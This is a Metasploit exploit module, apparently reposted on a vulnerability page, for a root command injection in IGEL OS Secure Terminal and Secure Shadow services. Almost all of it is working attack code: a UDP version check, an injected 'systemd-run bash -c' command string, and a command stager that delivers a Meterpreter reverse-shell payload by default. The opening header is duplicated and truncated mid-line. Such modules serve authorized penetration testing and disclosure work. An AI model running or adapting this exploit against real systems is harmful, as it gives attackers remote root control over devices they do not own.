Vulnerabilities

IGEL OS Secure VNC Terminal Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
'Description' => %q{
This module exploits a command injection vulnerability in IGEL OS Secure Terminal
and Secure Shadow services.

Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'Rob Vinson', # Discovery
'James Brytan', # Research and testing
'James Smith', # Research and testing
'Marisa Mack', # Research and testing
'Sergey Pashevkin', # Research and testing
'Steven Laura' # Research and testing
],
'References' => [
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Secure Terminal Service',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :cmd,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
}
],
[
'Secure Shadow Service',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :cmd,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
}
],
],
'Privileged' => true,
'DisclosureDate' => '2021-02-25',
'CmdStagerFlavor' => ['printf'],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PrependFork' => true
},
'Notes' => {
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE]
}
)
)

register_advanced_options(
[
# must enable SSL
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
]
)
end

def check
probe = '<igel_scan></igel_scan>'

connect_udp(true, 'RPORT' => 30005)
udp_sock.put(probe)
res = udp_sock.recvfrom(65535, 0.5)
disconnect_udp

unless res && res[0]
return Exploit::CheckCode::Unknown
end

probe_response = res[0]
matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
unless matches
return Exploit::CheckCode::Unknown
end

version = matches.captures[0]
vprint_status("IGEL OS Version: #{version}")
version = Rex::Version.new(version)

if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
return Exploit::CheckCode::Appears
elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
return Exploit::CheckCode::Safe
elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def execute_command(cmd, _opts = {})
vprint_status("executing: #{cmd}")
connect
sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
ensure
disconnect
end

def exploit
execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
end

end

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